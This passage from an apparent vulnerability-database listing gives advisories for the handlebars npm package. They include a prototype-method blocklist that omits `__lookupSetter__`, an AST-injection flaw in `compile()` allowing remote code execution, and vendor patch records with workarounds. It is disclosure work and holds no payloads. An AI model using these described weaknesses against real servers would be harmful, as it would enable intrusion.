counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor']      = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference  `__lookupSetter__` through untrusted input.","status":"published","published":"2026-03-29T15:17:15Z","modified":"2026-09-10T03:50:38.084132596Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:41.349637Z"},{"id":"ROOT-APP-NPM-CVE-2026-33937","title":"CVE-2026-33937 in handlebars - Patched by Root","description":"Root has patched CVE-2026-33937 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-15T16:35:43Z","modified":"2026-10-15T17:15:03.241300613Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"ROOT-APP-NPM-GHSA-7rx3-28cr-v5wh","title":"GHSA-7rx3-28cr-v5wh in handlebars - Patched by Root","description":"Root has patched GHSA-7rx3-28cr-v5wh in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-15T16:35:43Z","modified":"2026-10-15T17:15:03.265448164Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"UBUNTU-CVE-2026-33937","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","status":"published","published":"2026-03-27T21:17:00Z","modified":"2026-10-17T12:58:51.634769266Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"CLSA-2026-1782349135","title":"TuxCare security update for handlebars (8 CVEs)","description":"TuxCare rebuilt handlebars to address 8 CVEs. Fixed in 4.7.7-tuxcare.1.","status":"published","published":"2026-08-04T14:52:39Z","modified":"2026-10-15T09:47:10.129115848Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1782435546","title":"TuxCare security update for handlebars (8 CVEs)","description":"TuxCare rebuilt handlebars to address 8 CVEs. Fixed in 4.7.8-tuxcare.1.","status":"published","published":"2026-08-04T14:52:39Z","modified":"2026-10-15T09:47:10.153121357Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1785117463","title":"TuxCare security update for handlebars (5 CVEs)","description":"TuxCare rebuilt handlebars to address 5 CVEs. Fixed in 3.0.8-tuxcare.3.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:36.940994671Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1787070403","title":"TuxCare security update for handlebars (2 CVEs)","description":"TuxCare rebuilt handlebars to address 2 CVEs. Fixed in 2.0.0-tuxcare.5.","status":"published","published":"2026-08-18T16:26:43Z","modified":"2026-10-15T09:47:11.811218942Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1792139237","title":"TuxCare security update for handlebars (7 CVEs)","description":"TuxCare rebuilt handlebars to address 7 CVEs. Fixed in 4.5.3-tuxcare.3.","status":"published","published":"2026-10-16T08:27:17Z","modified":"2026-10-16T12:15:03.193874365Z","updated_at":"2026-11-02T15:43:50.949147Z"}]}}
